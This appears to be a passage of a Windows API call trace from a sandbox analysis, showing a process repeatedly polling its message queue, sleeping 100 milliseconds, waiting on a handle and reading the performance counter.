[0127.349] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.350] Sleep (dwMilliseconds=0x64) [0127.365] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.365] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698815944) returned 1 [0127.365] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698816113) returned 1 [0127.366] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.366] Sleep (dwMilliseconds=0x64) [0127.396] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.408] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698962488) returned 1 [0127.408] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698962660) returned 1 [0127.410] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.410] Sleep (dwMilliseconds=0x64) [0127.411] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.411] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=698970735) returned 1 [0127.411] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=698970897) returned 1 [0127.411] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.412] Sleep (dwMilliseconds=0x64) [0127.432] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.432] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699043926) returned 1 [0127.432] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699044100) returned 1 [0127.433] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.433] Sleep (dwMilliseconds=0x64) [0127.442] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.442] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699077586) returned 1 [0127.442] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699077755) returned 1 [0127.442] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.443] Sleep (dwMilliseconds=0x64) [0127.458] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.458] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699131843) returned 1 [0127.458] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699132010) returned 1 [0127.458] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.459] Sleep (dwMilliseconds=0x64) [0127.497] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.497] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699267004) returned 1 [0127.497] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699267177) returned 1 [0127.498] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.498] Sleep (dwMilliseconds=0x64) [0127.504] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.504] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699290847) returned 1 [0127.504] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699291014) returned 1 [0127.505] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.505] Sleep (dwMilliseconds=0x64) [0127.520] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.520] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699344194) returned 1 [0127.520] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699344365) returned 1 [0127.520] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.521] Sleep (dwMilliseconds=0x64) [0127.536] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.536] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699398776) returned 1 [0127.536] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699398945) returned 1 [0127.536] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.537] Sleep (dwMilliseconds=0x64) [0127.551] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.551] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699450886) returned 1 [0127.551] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699451054) returned 1 [0127.552] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.552] Sleep (dwMilliseconds=0x64) [0127.567] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.567] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699505820) returned 1 [0127.567] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699506068) returned 1 [0127.568] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.568] Sleep (dwMilliseconds=0x64) [0127.582] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.582] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699557622) returned 1 [0127.582] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699557807) returned 1 [0127.583] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.583] Sleep (dwMilliseconds=0x64) [0127.600] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.600] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699618388) returned 1 [0127.600] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699618547) returned 1 [0127.601] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.601] Sleep (dwMilliseconds=0x64) [0127.613] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.614] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699664332) returned 1 [0127.614] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699664490) returned 1 [0127.614] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.615] Sleep (dwMilliseconds=0x64) [0127.629] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.629] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699717481) returned 1 [0127.629] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699717638) returned 1 [0127.630] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.630] Sleep (dwMilliseconds=0x64) [0127.645] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.645] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699770782) returned 1 [0127.645] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699770961) returned 1 [0127.645] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.646] Sleep (dwMilliseconds=0x64) [0127.660] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.660] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699824219) returned 1 [0127.660] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699824400) returned 1 [0127.661] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.661] Sleep (dwMilliseconds=0x64) [0127.676] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.676] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699877616) returned 1 [0127.676] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699877774) returned 1 [0127.676] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.677] Sleep (dwMilliseconds=0x64) [0127.691] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.691] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699930769) returned 1 [0127.692] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699930926) returned 1 [0127.692] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.693] Sleep (dwMilliseconds=0x64) [0127.709] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.709] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=699990573) returned 1 [0127.709] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=699990770) returned 1 [0127.710] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.710] Sleep (dwMilliseconds=0x64) [0127.723] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.723] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700037604) returned 1 [0127.723] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700037809) returned 1 [0127.723] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.724] Sleep (dwMilliseconds=0x64) [0127.738] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.738] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700091099) returned 1 [0127.738] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700091297) returned 1 [0127.739] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.740] Sleep (dwMilliseconds=0x64) [0127.754] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.754] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700144073) returned 1 [0127.754] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700144262) returned 1 [0127.754] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.755] Sleep (dwMilliseconds=0x64) [0127.769] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.769] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700197390) returned 1 [0127.770] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700197579) returned 1 [0127.770] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.771] Sleep (dwMilliseconds=0x64) [0127.785] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.785] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700250919) returned 1 [0127.785] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700251104) returned 1 [0127.786] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.786] Sleep (dwMilliseconds=0x64) [0127.801] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.801] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700304291) returned 1 [0127.801] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700304476) returned 1 [0127.801] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.802] Sleep (dwMilliseconds=0x64) [0127.817] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.817] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700359379) returned 1 [0127.817] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700359558) returned 1 [0127.817] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.818] Sleep (dwMilliseconds=0x64) [0127.832] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.832] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700410507) returned 1 [0127.832] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700410690) returned 1 [0127.832] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.833] Sleep (dwMilliseconds=0x64) [0127.847] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.848] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700464015) returned 1 [0127.848] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700464235) returned 1 [0127.848] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.849] Sleep (dwMilliseconds=0x64) [0127.863] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.863] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700517754) returned 1 [0127.863] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700517953) returned 1 [0127.864] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.864] Sleep (dwMilliseconds=0x64) [0127.879] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.879] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700570985) returned 1 [0127.879] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700571170) returned 1 [0127.879] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.880] Sleep (dwMilliseconds=0x64) [0127.894] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.894] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700624027) returned 1 [0127.894] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700624212) returned 1 [0127.895] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.895] Sleep (dwMilliseconds=0x64) [0127.910] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.910] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700677271) returned 1 [0127.910] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700677455) returned 1 [0127.910] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.911] Sleep (dwMilliseconds=0x64) [0127.926] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.926] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700732916) returned 1 [0127.926] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700733098) returned 1 [0127.927] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.927] Sleep (dwMilliseconds=0x64) [0127.941] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.941] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700783978) returned 1 [0127.941] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700784172) returned 1 [0127.942] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.942] Sleep (dwMilliseconds=0x64) [0127.958] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.959] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700843642) returned 1 [0127.959] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700843822) returned 1 [0127.959] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.960] Sleep (dwMilliseconds=0x64) [0127.992] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0127.992] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700957734) returned 1 [0127.992] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700957869) returned 1 [0127.992] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0127.993] Sleep (dwMilliseconds=0x64) [0128.004] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.004] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=700997802) returned 1 [0128.004] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=700997970) returned 1 [0128.004] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.005] Sleep (dwMilliseconds=0x64) [0128.020] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.020] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701052704) returned 1 [0128.020] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701052832) returned 1 [0128.020] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.021] Sleep (dwMilliseconds=0x64) [0128.035] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.035] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701105677) returned 1 [0128.035] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701105806) returned 1 [0128.036] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.036] Sleep (dwMilliseconds=0x64) [0128.050] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.050] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701157107) returned 1 [0128.050] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701157236) returned 1 [0128.051] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.051] Sleep (dwMilliseconds=0x64) [0128.068] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.068] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701218782) returned 1 [0128.068] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701218906) returned 1 [0128.069] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.069] Sleep (dwMilliseconds=0x64) [0128.082] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.082] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701265247) returned 1 [0128.082] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701265369) returned 1 [0128.082] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.083] Sleep (dwMilliseconds=0x64) [0128.098] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.098] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701321448) returned 1 [0128.098] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701321569) returned 1 [0128.099] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.099] Sleep (dwMilliseconds=0x64) [0128.113] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.113] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701371895) returned 1 [0128.113] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701372078) returned 1 [0128.114] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.114] Sleep (dwMilliseconds=0x64) [0128.128] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.128] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701423764) returned 1 [0128.128] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701423943) returned 1 [0128.129] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.129] Sleep (dwMilliseconds=0x64) [0128.144] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.144] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701479124) returned 1 [0128.145] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701479306) returned 1 [0128.145] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.146] Sleep (dwMilliseconds=0x64) [0128.159] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.160] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701530469) returned 1 [0128.160] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701530653) returned 1 [0128.160] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.161] Sleep (dwMilliseconds=0x64) [0128.176] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.176] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=701588106) returned 1 [0128.176] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=701588286) returned 1 